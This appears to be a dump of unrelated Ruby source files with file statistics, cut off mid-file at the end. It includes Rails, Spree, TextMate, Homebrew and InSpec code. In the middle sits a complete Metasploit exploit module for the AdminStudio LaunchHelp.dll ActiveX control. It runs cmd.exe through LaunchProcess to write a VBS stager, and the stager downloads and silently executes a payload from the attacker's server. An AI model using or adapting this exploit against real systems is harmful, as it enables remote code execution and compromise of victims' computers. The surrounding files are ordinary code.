last_snapshot = actions.last.snapshot if actions.last
unless current_snapshot == last_snapshot
attributes = {
action_type: action_type,
snapshot: current_snapshot,
}
attributes[:user] = user if user
attributes[:task_performed_by] = task_name if task_name
new_action = actions.build(attributes)
# Mongoid will not fire creation callbacks on embedded documents, so we
# need to trigger this manually. There is a `cascade_callbacks` option on
# `embeds_many`, but it doesn't appear to trigger creation events on
# children when an update event fires on the parent
new_action.set_created_at
end
end
def archived?
self.state == "archived"
end
def live?
self.state == "live"
end
def snapshot
attributes
.except("_id", "created_at", "updated_at", "actions")
end
def need_id=(new_need_id)
super
need_ids << new_need_id if new_need_id.present? && ! need_ids.include?(new_need_id)
new_need_id
end
def latest_edition
Edition
.where(panopticon_id: id)
.order(version_number: :desc)
.first
end
def latest_edition_id
edition = latest_edition
edition.id.to_s if edition
end
def update_from_edition(edition)
update_attributes(
state: state_from_edition(edition),
description: edition.overview,
public_timestamp: edition.public_updated_at
)
end
def downtime
Downtime.for(self)
end
def exact_route?
le = latest_edition
return le.exact_route? if le.present?
return edition_class_name.in? Edition::EXACT_ROUTE_EDITION_CLASSES if owning_app == 'publisher'
prefixes.empty?
end
private
def edition_class_name
"#{kind.camelcase}Edition"
end
def validate_prefixes_and_paths
if ! self.prefixes.nil? && self.prefixes_changed?
if self.prefixes.any? { |p| ! valid_url_path?(p) }
errors.add(:prefixes, "are not all valid absolute URL paths")
end
end
if ! self.paths.nil? && self.paths_changed?
if self.paths.any? { |p| ! valid_url_path?(p) }
errors.add(:paths, "are not all valid absolute URL paths")
end
end
end
def filter_out_empty_need_ids
return if need_ids.blank?
need_ids.reject!(&:blank?)
end
def format_of_new_need_ids
return if need_ids.blank?
# http://api.rubyonrails.org/classes/ActiveModel/Dirty.html
new_need_ids = need_ids_was.blank? ? need_ids : need_ids - need_ids_was
errors.add(:need_ids, "must be six-digit integer strings") if new_need_ids.any? { |need_id| need_id !~ /\A\d{6}\z/ }
end
def valid_url_path?(path)
return false unless path.starts_with?("/")
uri = URI.parse(path)
uri.path == path && path !~ %r{//} && path !~ %r{./\z}
rescue URI::InvalidURIError
false
end
def state_from_edition(edition)
case edition.state
when 'published' then 'live'
when 'archived' then 'archived'
else 'draft'
end
end
def discard_publishing_api_draft
Services.publishing_api.discard_draft(self.content_id)
end
end
| 30.728045 | 128 | 0.651885 |
79d9810f2f8fe3bbb86e7bb848d473ebcb1c3a65 | 119 | class AddPictureToUsers < ActiveRecord::Migration[5.1]
def change
add_column :users, :picture, :string
end
end
| 19.833333 | 54 | 0.739496 |
e2147badc18632e4edf2d9cb1c6f023e4b54531b | 6,916 | # -- Imports -------------------------------------------------------------------
require ENV['TM_SUPPORT_PATH'] + '/lib/escape'
require ENV['TM_SUPPORT_PATH'] + '/lib/exit_codes'
require ENV['TM_SUPPORT_PATH'] + '/lib/osx/plist'
require ENV['TM_BUNDLE_SUPPORT'] + '/lib/Ruby/indent'
# -- Class ---------------------------------------------------------------------
# This class represents a LaTeX table.
# rubocop: disable Lint/MissingCopEnableDirective
# rubocop: disable Metrics/ClassLength
class Table
# This function initializes a new LaTeX table.
#
# The default dimensions of the table are determined by reading the current
# selection. If there is no selection, then the values will be read via a pop
# up window.
#
# = Arguments
#
# [rows] The number of table rows
# [columns] The number of table columns
# [full_table] Specify if this table represents a full table or only a tabular
# environment
def initialize(rows = nil, columns = nil, full_table = true)
@rows = rows
@columns = columns
@full_table = full_table
@rows, @columns, @full_table = self.class.read_parameters unless
@rows && @columns
@i1 = indent
@i2 = @i1 * 2
@array_header_start = '\textbf{'
@array_header_end = '}'
@insertion_points_header = @full_table ? 2 : 0
end
# This function returns a string representation of the current table.
#
# = Output
#
# The function returns a string containing LaTeX code for the table.
#
# = Examples
#
# doctest: Check the representation of a small table
#
# >> table = Table.new(2, 2)
# >> i1 = indent(1)
# >> i2 = indent(2)
# >> start = ["\\begin{table}[htb!]",
# "#{i1}\\caption{${1:Caption}}",
# "#{i1}\\label{table:${2:label}}",
# "#{i1}\\centering"]
# >> ending = ["#{i2}\\bottomrule",
# "#{i1}\\end{tabular}",
# "\\end{table}"]
# >> middle = [
# "#{i1}\\begin{tabular}{ll}",
# "#{i2}\\toprule",
# "#{i2}\\textbf{${3:Header 1}} & \\textbf{${4:Header 2}}\\\\\\\\",
# "#{i2}\\midrule",
# "#{i2} ${5:r2c1} & ${6:r2c2}\\\\\\\\"]
# >> table_representation = (start + middle + ending).join("\n")
# >> table.to_s == table_representation
# => true
#
# doctest: Check the representation of a tiny table
#
# >> table = Table.new(1, 1)
# >> middle = [
# "#{i1}\\begin{tabular}{l}",
# "#{i2}\\toprule",
# "#{i2}\\textbf{${3:Header 1}}\\\\\\\\"]
# >> table_representation = (start + middle + ending).join("\n")
# >> table.to_s == table_representation
# => true
#
# doctest: Check the representation of a small tabular environment
#
# >> table = Table.new(2, 3, false)
# >> table_representation = [
# "\\begin{tabular}{lll}",
# "#{i1}${1:r1c1} & ${2:r1c2} & ${3:r1c3}\\\\\\\\",
# "#{i1}${4:r2c1} & ${5:r2c2} & ${6:r2c3}\\\\\\\\",
# "\\end{tabular}"].join("\n")
# >> table.to_s == table_representation
# => true
def to_s
if @full_table
[header, array_header, @rows <= 1 ? nil : array, footer].compact
else
["\\begin{tabular}{#{'l' * @columns}}", array, '\\end{tabular}']
end.join("\n")
end
private
def header
"\\begin{table}[htb!]\n" \
"#{@i1}\\caption{\${1:Caption}}\n" \
"#{@i1}\\label{table:\${2:label}}\n" \
"#{@i1}\\centering\n" \
"#{@i1}\\begin{tabular}{#{'l' * @columns}}\n" \
"#{@i2}\\toprule"
end
def footer
"#{@i2}\\bottomrule\n#{@i1}\\end{tabular}\n\\end{table}"
end
def array_header(insertion_point = @insertion_points_header)
@i2 + Array.new(@columns) do |c|
@array_header_start + \
"${#{insertion_point += 1}:#{array_header_text(c)}}" + \
@array_header_end
end.join(' & ') + '\\\\\\\\' + (@rows >= 2 ? "\n#{@i2}\\midrule" : '')
end
def array_header_text(column)
"Header #{column + 1}"
end
def array_header_length(column)
array_header_text(column).length + @array_header_start.length + \
@array_header_end.length
end
def array
rows = @rows - (@full_table ? 1 : 0)
insertion_point = @full_table ? @insertion_points_header + @columns : 0
indentation = @full_table ? @i2 : @i1
create_array(rows, indentation, insertion_point)
end
# rubocop: disable Metrics/AbcSize
def create_array(rows, indentation, insertion_point)
Array.new(rows) do |row|
row += @full_table ? 2 : 1
padding = ' ' * (@rows.to_s.length - row.to_s.length) unless @full_table
indentation + Array.new(@columns) do |c|
text = "r#{row}c#{c + 1}"
padding = ' ' * (array_header_length(c) - text.length) if @full_table
"#{padding}${#{insertion_point += 1}:#{text}}"
end.join(' & ') + '\\\\\\\\'
end.join("\n")
end
class <<self
def read_parameters
if ENV.key?('TM_SELECTED_TEXT')
parse_parameters_text(ENV['TM_SELECTED_TEXT'])
else
read_parameters_ui
end
end
def read_parameters_ui
dialog = e_sh ENV['DIALOG']
defaults = e_sh("{ latexTableRows = '2'; latexTableColumns = '2';" \
' latexTableTabular = 1; }')
nib = e_sh(ENV['TM_BUNDLE_SUPPORT']) + '/nibs/CreateTable'
result_plist = `#{dialog} -d #{defaults} -cm #{nib}`
values = OSX::PropertyList.load(result_plist)['result']
TextMate.exit_discard if values.nil?
parse_parameters_ui(values['rows'], values['columns'],
values['returnArgument'])
end
def parse_parameters_ui(rows, columns, tabular_only)
[parse_parameter_table('rows' => rows),
parse_parameter_table('columns' => columns),
!tabular_only]
end
def parse_parameter_table(parameter)
value = parameter.values[0]
name = parameter.keys[0]
number = value.to_i
raise RangeError if number < 1 || number > 100
number
rescue RangeError
TextMate.exit_show_tool_tip("“#{value}” is not a valid value for the " \
"number of #{name}.\n" \
'Please use a number between 1 and 100.')
end
def parse_parameters_text(result)
one_upto_hundred = '([1-9]\d?|100)'
rows_default = 2
m = /^(?:#{one_upto_hundred}\D+)?#{one_upto_hundred}\s*(t)?$/.
match(result.to_s)
TextMate.exit_show_tool_tip(usage_text(rows_default, 100, 100)) if m.nil?
[m[1] ? m[1].to_i : rows_default, m[2].to_i, m[3].nil?]
end
def usage_text(rows_default, rows_max, columns_max)
"USAGE: [#rows] #columns [t] \n\n" \
"#rows: Number of table rows (Default: #{rows_default}, " \
"Maximum: #{rows_max})\n" \
"#columns: Number of table columns (Maximum: #{columns_max})\n" \
't: Create a tabular environment only'
end
end
end
| 33.410628 | 80 | 0.562319 |
edd30ca9992df9ece8a8fafbe9548199e322e71a | 1,147 | module Spree
module Admin
TaxonsController.class_eval do
def selected_for_question
@question = load_question
@taxons = @question.taxons
respond_with(:admin, @taxons)
end
def available_for_question
@question = load_question
@taxons = params[:q].blank? ? [] : Spree::Taxon.where('lower(name) LIKE ?', "%#{params[:q].mb_chars.downcase}%")
@taxons.delete_if { |taxon| @question.taxons.include?(taxon) }
respond_with(:admin, @taxons)
end
def select_for_question
@question = load_question
@taxon = Taxon.find(params[:id])
@question.taxons << @taxon
@question.save
@taxons = @question.taxons
respond_with(:admin, @taxons)
end
def remove_for_question
@question = load_question
@taxon = Taxon.find(params[:id])
@question.taxons.delete(@taxon)
@question.save
@taxons = @question.taxons
respond_with(:admin, @taxon)
end
private
def load_question
Question.find_by_slug(params[:question_id])
end
end
end
end | 24.934783 | 120 | 0.600697 |
ed8e78bd103c84d70dae640a96181eee1d3051d6 | 2,650 | # encoding: utf-8
# copyright: 2016, you
# license: All rights reserved
# date: 2015-08-28
# description: All directives specified in this STIG must be specifically set (i.e. the server is not allowed to revert to programmed defaults for these directives). Included files should be reviewed if they are used. Procedures for reviewing included files are included in the overview document. The use of .htaccess files are not authorized for use according to the STIG. However, if they are used, there are procedures for reviewing them in the overview document. The Web Policy STIG should be used in addition to the Apache Site and Server STIGs in order to do a comprehensive web server review.
# impacts
title 'V-26393 - The ability to override the access configuration for the OS root directory must be disabled.'
control 'V-26393' do
impact 0.5
title 'The ability to override the access configuration for the OS root directory must be disabled.'
desc 'The Apache OverRide directive allows for .htaccess files to be used to override much of the configuration, including authentication, handling of document types, auto generated indexes, access control, and options. When the server finds an .htaccess file (as specified by AccessFileName) it needs to know which directives declared in that file can override earlier access information. When this directive is set to None, then .htaccess files are completely ignored. In this case, the server will not even attempt to read .htaccess files in the file system. When this directive is set to All, then any directive which has the .htaccess Context is allowed in .htaccess files.'
tag 'stig', 'V-26393'
tag severity: 'medium'
tag checkid: 'C-33831r1_chk'
tag fixid: 'F-29497r1_fix'
tag version: 'WA00547 A22'
tag ruleid: 'SV-33232r1_rule'
tag fixtext: 'Edit the httpd.conf file and add or set the value of AllowOverride to "None".
'
tag checktext: 'Enter the following command:
more /usr/local/Apache2.2/conf/httpd.conf.
Review the httpd.conf file and search for the following directive:
Directory
For every root directory entry (i.e. <Directory />) ensure the following entry exists:
AllowOverride None
If the statement above is not found in the root directory statement, this is a finding.
If Allow directives are included in the root directory statement, this is a finding.
If the root directory statement is not listed at all, this is a finding.
'
# START_DESCRIBE V-26393
describe command("awk '/<Directory \\/>/,/<\\/Directory>/' /etc/httpd/conf/httpd.conf") do
its('stdout') { should match /AllowOverride\s+None$/ }
end
# STOP_DESCRIBE V-26393
end
| 56.382979 | 681 | 0.769057 |
ac1538affb348b36de8f95d2af204f076cf9b351 | 419 | # == Schema Information
#
# Table name: verse_pages
#
# id :bigint not null, primary key
# page_number :integer
# mushaf_id :integer
# page_id :integer
# verse_id :integer
#
# Indexes
#
# index_verse_pages_on_page_number_and_mushaf_id (page_number,mushaf_id)
# index_verse_pages_on_verse_id (verse_id)
#
class VersePage < ApplicationRecord
belongs_to :verse
end
| 20.95 | 74 | 0.677804 |
1cf8f4b041dbfe51c6b02caddfd37c7a3a44d163 | 2,198 | class Scalapack < Formula
desc "High-performance linear algebra for distributed memory machines"
homepage "https://www.netlib.org/scalapack/"
url "https://www.netlib.org/scalapack/scalapack-2.0.2.tgz"
sha256 "0c74aeae690fe5ee4db7926f49c5d0bb69ce09eea75beb915e00bba07530395c"
revision 11
bottle do
cellar :any
sha256 "5bf8bbc0b68389315eded0c528b1517813e38b4d07ae3bcb6f1e81fd73150615" => :mojave
sha256 "b4599a8dc3909bd6849e929ba7a552de00d31a76b727dacad65fb110088fa9d8" => :high_sierra
sha256 "2a028b68a4dc31c1dd5c8032d80e6678bbd89ae696aecb10956f06db6c659275" => :sierra
sha256 "06d91fc5df52e81396eaa62fb738239463ac069e592966b96a4a8e6a335c48fb" => :el_capitan
sha256 "d95864d853e45bde6a937439b9a6b32009d0e9768e415169d72c81ca3fd9f5dc" => :x86_64_linux
end
depends_on "cmake" => :build
depends_on "gcc" # for gfortran
depends_on "open-mpi"
depends_on "veclibfort" if build.without?("openblas") && OS.mac?
depends_on "openblas" => OS.mac? ? :optional : :recommended
def install
blas = "-L#{Formula["openblas"].opt_lib} -lopenblas"
mkdir "build" do
system "cmake", "..", *std_cmake_args, "-DBUILD_SHARED_LIBS=ON",
"-DBLAS_LIBRARIES=#{blas}", "-DLAPACK_LIBRARIES=#{blas}"
system "make", "all"
system "make", "install"
end
pkgshare.install "EXAMPLE"
end
test do
cp_r pkgshare/"EXAMPLE", testpath
cd "EXAMPLE" do
system "mpif90", "-o", "xsscaex", "psscaex.f", "pdscaexinfo.f", "-L#{opt_lib}", "-lscalapack"
assert `mpirun -np 4 ./xsscaex | grep 'INFO code' | awk '{print $NF}'`.to_i.zero?
system "mpif90", "-o", "xdscaex", "pdscaex.f", "pdscaexinfo.f", "-L#{opt_lib}", "-lscalapack"
assert `mpirun -np 4 ./xdscaex | grep 'INFO code' | awk '{print $NF}'`.to_i.zero?
system "mpif90", "-o", "xcscaex", "pcscaex.f", "pdscaexinfo.f", "-L#{opt_lib}", "-lscalapack"
assert `mpirun -np 4 ./xcscaex | grep 'INFO code' | awk '{print $NF}'`.to_i.zero?
system "mpif90", "-o", "xzscaex", "pzscaex.f", "pdscaexinfo.f", "-L#{opt_lib}", "-lscalapack"
assert `mpirun -np 4 ./xzscaex | grep 'INFO code' | awk '{print $NF}'`.to_i.zero?
end
end
end
| 43.96 | 99 | 0.681529 |
ff108d157bf3722982791d29d3bece9ad55d98cb | 244 | module FactoryGirl
def self.preload(&block)
Preload.preloaders << block
end
module Syntax
module Default
class DSL
def preload(&block)
::FactoryGirl.preload(&block)
end
end
end
end
end
| 15.25 | 39 | 0.602459 |
4aa1e32a146a1721b9079ea4f04fd27905322d77 | 39 | class Breakman
VERSION = "0.0.1"
end
| 9.75 | 19 | 0.666667 |
b93c73746121cb5411cfaf5801ab8f1de55edc4c | 963 | # frozen_string_literal: true
module Kobot
# Configuration definition includes static ones hardcoded and
# dynamic ones that can be specified by command line options.
class Config
class << self
attr_accessor :clock,
:loglevel,
:skip,
:auto_skip,
:auto_skip_without,
:dryrun,
:force,
:kot_url,
:kot_timezone_offset,
:kot_date_format,
:gmail_notify_enabled,
:gmail_notify_subject,
:gmail_notify_to,
:gmail_smtp_address,
:gmail_smtp_port,
:browser_headless,
:browser_geolocation,
:browser_wait_timeout,
:credentials_file
def configure
yield self
end
end
end
end
| 28.323529 | 63 | 0.475597 |
398a912449bce9b96b4000a1657aff64acea02cd | 65 | json.array! @courses, partial: 'api/courses/course', as: :course
| 32.5 | 64 | 0.723077 |
287a68eedb51496b3953012f99dccb5955955456 | 2,086 | # frozen_string_literal: true
require_relative "../../../../../test_helper"
class Comfy::Admin::Cms::Revisions::SnippetControllerTest < ActionDispatch::IntegrationTest
setup do
@site = comfy_cms_sites(:default)
@snippet = comfy_cms_snippets(:default)
@revision = comfy_cms_revisions(:snippet)
end
def test_get_index
r :get, comfy_admin_cms_site_snippet_revisions_path(@site, @snippet)
assert_response :redirect
assert_redirected_to action: :show, id: @revision
end
def test_get_index_with_no_revisions
Comfy::Cms::Revision.delete_all
r :get, comfy_admin_cms_site_snippet_revisions_path(@site, @snippet)
assert_response :redirect
assert_redirected_to edit_comfy_admin_cms_site_snippet_path(@site, @snippet)
end
def test_get_show
r :get, comfy_admin_cms_site_snippet_revision_path(@site, @snippet, @revision)
assert_response :success
assert assigns(:record)
assert assigns(:revision)
assert assigns(:record).is_a?(Comfy::Cms::Snippet)
assert_template :show
end
def test_get_show_for_invalid_record
r :get, comfy_admin_cms_site_snippet_revision_path(@site, "invalid", @revision)
assert_response :redirect
assert_redirected_to comfy_admin_cms_site_snippets_path(@site)
assert_equal "Record Not Found", flash[:danger]
end
def test_get_show_failure
r :get, comfy_admin_cms_site_snippet_revision_path(@site, @snippet, "invalid")
assert_response :redirect
assert assigns(:record)
assert_redirected_to edit_comfy_admin_cms_site_snippet_path(@site, assigns(:record))
assert_equal "Revision Not Found", flash[:danger]
end
def test_revert
assert_difference -> { @snippet.revisions.count } do
r :patch, revert_comfy_admin_cms_site_snippet_revision_path(@site, @snippet, @revision)
assert_response :redirect
assert_redirected_to edit_comfy_admin_cms_site_snippet_path(@site, @snippet)
assert_equal "Content Reverted", flash[:success]
@snippet.reload
assert_equal "revision content", @snippet.content
end
end
end
| 33.111111 | 93 | 0.756951 |
1c7a8a26a38b57f4fba51d9eee2ec9bed5b8978a | 140 | # Be sure to restart your server when you modify this file.
Rails.application.config.session_store :cookie_store, key: '_finechat_session'
| 35 | 78 | 0.807143 |
1c2160723822dcc116d921eeafe36d17e2df6f1d | 5,623 | ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'AdminStudio LaunchHelp.dll ActiveX Arbitrary Code Execution',
'Description' => %q{
This module exploits a vulnerability in AdminStudio LaunchHelp.dll ActiveX control. The
LaunchProcess function found in LaunchHelp.HelpLauncher.1 allows remote attackers to run
arbitrary commands on the victim machine. This module has been successfully tested with the
ActiveX installed with AdminStudio 9.5, which also comes with Novell ZENworks Configuration
Management 10 SP2, on IE 6 and IE 8 over Windows XP SP 3.
},
'License' => MSF_LICENSE,
'Author' =>
[
'rgod', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2011-2657' ],
[ 'OSVDB', '76700'],
[ 'BID', '50274' ],
[ 'ZDI', '11-318' ],
[ 'URL', 'http://www.novell.com/support/viewContent.do?externalId=7009570&sliceId=1' ],
],
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
},
'Platform' => 'win',
'Targets' =>
[
# LaunchHelp.dll 9.5.0.0
[ 'Windows Universal', {} ],
],
'DisclosureDate' => 'Oct 19 2011',
'DefaultTarget' => 0))
register_options(
[
OptString.new('WINDOWSTEMP', [ true, "The Windows temporal folder.", "C:/Windows/Temp" ]),
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]),
])
end
def on_new_session(client)
if client.type != "meterpreter"
print_error("NOTE: you must use a meterpreter payload in order to automatically cleanup.")
print_error("The vbs stager and exe payload must be removed manually.")
return
end
# stdapi must be loaded before we can use fs.file
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
begin
print_warning("Deleting the vbs payload \"#{@stager_name}\" ...")
client.fs.file.rm("#{@temp_folder}/#{@stager_name}")
print_good("The vbs stager has been deleted successfully")
print_status("The exe payload #{@temp_folder}/#{@payload_name}.exe must be removed manually")
rescue ::Exception => e
print_error("Problems while the clenaup")
print_status("The vbs stager #{@temp_folder}/#{@stager_name} must be removed manually")
print_status("The exe payload #{@temp_folder}/#{@payload_name}.exe must be removed manually")
print_error("Exception: #{e.inspect}")
return
end
end
# Stager wrote by sinn3r to avoid problems when echoing the vbs cmdstager too many times.
# See "real_arcade_installerdlg.rb" for more information.
def build_vbs(url)
name_xmlhttp = rand_text_alpha(2)
name_adodb = rand_text_alpha(2)
tmp = "#{@temp_folder}/#{@stager_name}"
vbs = "echo Set #{name_xmlhttp} = CreateObject(\"Microsoft.XMLHTTP\") "
vbs << ": #{name_xmlhttp}.open \"GET\",\"http://#{url}\",False : #{name_xmlhttp}.send"
vbs << ": Set #{name_adodb} = CreateObject(\"ADODB.Stream\") "
vbs << ": #{name_adodb}.Open : #{name_adodb}.Type=1 "
vbs << ": #{name_adodb}.Write #{name_xmlhttp}.responseBody "
vbs << ": #{name_adodb}.SaveToFile \"#{@temp_folder}/#{@payload_name}.exe\",2 "
vbs << ": CreateObject(\"WScript.Shell\").Run \"#{@temp_folder}/#{@payload_name}.exe\",0 >> #{tmp}"
return vbs
end
def exploit
@payload_name = rand_text_alpha(4)
@temp_folder = datastore['WINDOWSTEMP']
@stager_name = rand_text_alpha(6) + ".vbs"
super
end
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
# Avoid the attack if the victim doesn't have the same setup we're targeting
if not agent =~ /MSIE/
print_error("Browser not supported: #{agent}")
send_not_found(cli)
return
end
if request.uri =~ /\.exe/
print_status("Sending payload EXE")
return if ((p=regenerate_payload(cli)) == nil)
data = generate_payload_exe( {:code=>p.encoded} )
send_response(cli, data, {'Content-Type' => 'application/octet-stream'} )
return
end
# Payload's URL
payload_src = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
payload_src << ":#{datastore['SRVPORT']}#{get_resource}/#{@payload_name}.exe"
# Create the stager (download + execute payload)
stager = build_vbs(payload_src)
js = <<-JS
var actvx = new ActiveXObject('LaunchHelp.HelpLauncher.1');
actvx.LaunchProcess("cmd.exe", '/c #{stager}');
actvx.LaunchProcess("cmd.exe", "/c start #{@temp_folder}/#{@stager_name}");
JS
if datastore['OBFUSCATE']
js = ::Rex::Exploitation::JSObfu.new(js)
js.obfuscate
end
html = <<-EOS
<html>
<body>
<script>
#{js}
</script>
</body>
</html>
EOS
# Remove extra tabs
html = html.gsub(/^ {4}/, "")
print_status("Sending #{self.name}")
send_response(cli, html, { 'Content-Type' => 'text/html' })
end
end
| 34.286585 | 119 | 0.614263 |
acc68b261e01010d2c851dee380ff5d697f15880 | 2,204 | # Author: Piotr Wojcieszonek
# e-mail: [email protected]
# Copyright 03.08.2021 Piotr Wojcieszonek
# frozen_string_literal: true
require_relative "field"
require "comparable"
module Lib
module TL1
module Message
class Autonomous
include Comparable
attr_reader :sid, :date, :time, :alarm_code, :ctag, :command
def initialize(sid: nil, date: nil, time: nil, alarm_code: nil, ctag: nil, command: nil, text_block: nil)
if block_given?
yield self
else
self.sid = sid
self.date = date
self.time = time
self.alarm_code = alarm_code
self.ctag = ctag
self.command = command
self.text_block = text_block
end
end
def <=>(other)
return nil unless instance_of? other.class
to_s <=> other.to_s
end
def to_s
"\r\n\n #{sid} #{date} #{time}\r\n #{alarm_code} #{ctag}\r\n #{text_block}\r\n;"
end
alias to_str to_s
def sid=(sid)
@sid = sid.is_a?(Field::SystemIdentifier) ? sid : Field::SystemIdentifier.new(sid)
end
alias system_identifier sid
alias system_identifier= sid=
def date=(date)
@date = date.is_a?(Field::Date) ? date : Field::Date.new(date)
end
def time=(time)
@time = time.is_a?(Field::Time) ? time : Field::Time.new(time)
end
def alarm_code=(alarm_code)
@alarm_code = alarm_code.is_a?(Field::AlarmCode) ? alarm_code : Field::AlarmCode.new(alarm_code)
end
def ctag=(ctag)
@atag = ctag.is_a?(Field::CorrelationTag) ? ctag : Field::CorrelationTag.new(ctag)
end
alias correlation_tag ctag
alias correlation_tag= ctag=
alias atag ctag
alias atag= ctag=
def command=(command)
@verb = command.is_a?(Field::CommandVerb) ? command : Field::CommandVerb.new(command)
end
def text_block=(text_block)
@text_block = text_block.is_a?(Field::TextBlock) ? text_block : Field::TextBlock.new(text_block)
end
end
end
end
end | 28.25641 | 113 | 0.580309 |
797cf5b33b3782e536b74f0de5abd079f81c7971 | 1,184 | class Connection < ApplicationRecord
belongs_to :source, class_name: 'Node', foreign_key: :source_id, primary_key: :id
belongs_to :target, class_name: 'Node', foreign_key: :target_id, primary_key: :id
def self.connected?(nodes)
return false if nodes.blank?
node_ids = nodes.map(&:id)
# group present connections by color and rank by count
connections_hash = Connection.where([
"connections.source_id IN (?) AND target_id IN (?)", node_ids, node_ids
]).order('count_color DESC').group(:color).count('color')
# group all connections by color and rank by count
all_connections_hash = Connection::all_connections(nodes.first.statement)
# does a full connection exist?
if full_connection = (all_connections_hash.to_a & connections_hash.to_a).first
full_connection[0] # return the color
else
false
end
end
def self.all_connections(statement)
# returns color/count hash for all connections of the statement
statement.connections.inject(Hash.new(0)) { |h, e| h[e.color] += 1 ; h }
end
def response
source.type == "Response" ? source : (target.type == "Response" ? target : nil)
end
end
| 33.828571 | 83 | 0.696791 |
ac2b9910a84c18f72001e866d62c0e125307d3cd | 60 | class Account < SnitchRecord
self.table_name = "users"
end | 20 | 28 | 0.766667 |
79d879ba86f68388e8098c9d83a1cc1d989e26cb | 475 | require "rails_helper"
RSpec.describe "OrdnanceSurvey initializer" do
describe "OrdnanceSurvey.configuration.client.base_url" do
it "returns string from env var" do
expect(OrdnanceSurvey.configuration.client.base_url).to eq("https://api.os.uk")
end
end
describe "OrdnanceSurvey.configuration.client.params" do
it "returns hash from env var" do
expect(OrdnanceSurvey.configuration.client.params).to eq({key: "api-key-value"})
end
end
end
| 29.6875 | 86 | 0.741053 |
ab77702595151aac69dbfaa121fff2de7f6c2c49 | 1,049 | # frozen_string_literal: true
# Configure Rails Environment
ENV['RAILS_ENV'] = 'test'
require 'simplecov'
SimpleCov.start do
add_filter %r{/test/}
end
require_relative '../test/dummy/config/environment'
ActiveRecord::Migrator.migrations_paths = [
File.expand_path('../test/dummy/db/migrate', __dir__)
]
require 'rails/test_help'
require 'mocha/minitest'
# Filter out the backtrace from minitest while preserving
# the one from other libraries.
Minitest.backtrace_filter = Minitest::BacktraceFilter.new
require 'rails/test_unit/reporter'
Rails::TestUnitReporter.executable = 'bin/test'
Rails.configuration.active_job.queue_adapter = :test
# Load fixtures from the engine
if ActiveSupport::TestCase.respond_to?(:fixture_path=)
ActiveSupport::TestCase.fixture_path = File.expand_path('fixtures', __dir__)
ActionDispatch::IntegrationTest.fixture_path =
ActiveSupport::TestCase.fixture_path
ActiveSupport::TestCase.file_fixture_path =
ActiveSupport::TestCase.fixture_path + '/files'
ActiveSupport::TestCase.fixtures :all
end
| 27.605263 | 78 | 0.78837 |
7abe3d31cb2ec9b8413fbb807c16c0e530e5a366 | 1,208 | require 'spec_helper'
describe Refinery::Videos::Admin::VideosController, type: :controller do
render_views
before do
@user = Refinery::Authentication::Devise::User.create!(:username => '[email protected]',
:email => '[email protected]',
:password => '[email protected]',
:password_confirmation => '[email protected]')
@user.create_first
sign_in @user
end
describe 'insert video' do
before do
@video = FactoryGirl.create(:valid_video, :title => "TestVideo")
end
it 'should get videos html' do
get :insert, params: { app_dialog: true, dialog: true }
response.should be_success
response.body.should match(/TestVideo/)
end
it 'should get preview' do
get :dialog_preview, params: { id: "video_#{@video.id}" }, format: :js, xhr: true
response.should be_success
response.body.should match(/iframe/)
end
it 'should get preview' do
post :append_to_wym, params: { video_id: @video.id, video: { height: 100 } }, format: :js
response.should be_success
response.body.should match(/iframe/)
end
end
end
| 30.2 | 95 | 0.607616 |
edcc66cc09d5e2e04cee2e55ecd02c65ef1ab17b | 367 | cask :v1 => 'font-rosarivo' do
# version '1.003'
version :latest
sha256 :no_check
url 'https://github.com/google/fonts/trunk/ofl/rosarivo',
:using => :svn,
:revision => '50',
:trust_cert => true
homepage 'http://www.google.com/fonts/specimen/Rosarivo'
license :ofl
font 'Rosarivo-Italic.ttf'
font 'Rosarivo-Regular.ttf'
end
| 22.9375 | 59 | 0.640327 |
5d6d2d88b3849c834f33ebfa2a9bccc7d8fe9f21 | 1,581 | require 'time'
Gem::Specification.new do |gem|
gem.name = 'vanagon'
gem.version = %x(git describe --tags).tr('-', '.').chomp
gem.date = Date.today.to_s
gem.summary = "All of your packages will fit into this van with this one simple trick."
gem.description = "Vanagon is a tool to build a single package out of a project, which can itself contain one or more components."
gem.license = "Apache-2.0"
gem.authors = ['Puppet Labs']
gem.email = '[email protected]'
gem.homepage = 'http://github.com/puppetlabs/vanagon'
gem.specification_version = 3
gem.required_ruby_version = '~> 2.3'
# Handle git repos responsibly
# - MIT licensed: https://rubygems.org/gems/git
gem.add_runtime_dependency('git', '~> 1.3.0')
# Parse scp-style triplets like URIs; used for Git source handling.
# - MIT licensed: https://rubygems.org/gems/fustigit
gem.add_runtime_dependency('fustigit', '~> 0.1.3')
# Handle locking hardware resources
# - ASL v2 licensed: https://rubygems.org/gems/lock_manager
gem.add_runtime_dependency('lock_manager', '>= 0')
# Utilities for `ship` and `repo` commands
# - ASL v2 licensed: https://rubygems.org/gems/packaging
gem.add_runtime_dependency('packaging')
gem.require_path = 'lib'
gem.bindir = 'bin'
gem.executables = %w[build inspect ship render repo sign build_host_info build_requirements]
# Ensure the gem is built out of versioned files
gem.files = Dir['{bin,lib,spec,resources}/**/*', 'README*', 'LICENSE*'] & %x(git ls-files -z).split("\0")
gem.test_files = Dir['spec/**/*_spec.rb']
end
| 41.605263 | 132 | 0.693865 |
6a29af7591217dec422586494ee2b910fb36e862 | 396 | module BootstrapEmail
module Converter
class Card < Base
def build
each_node('.card') do |node|
node.replace(template('table', classes: node['class'], contents: node.inner_html))
end
each_node('.card-body') do |node|
node.replace(template('table', classes: node['class'], contents: node.inner_html))
end
end
end
end
end
| 26.4 | 92 | 0.606061 |
031ba7196601b36c05bfd9d6efec96ce22267476 | 158 | # frozen_string_literal: true
# Main application controller
class ApplicationController < ActionController::Base
protect_from_forgery with: :exception
end
| 22.571429 | 52 | 0.835443 |
3862f03673121d24deedea00533b9d97c9e587ce | 582 | module Fastlane
module Helper
class CodePushLoginHelper
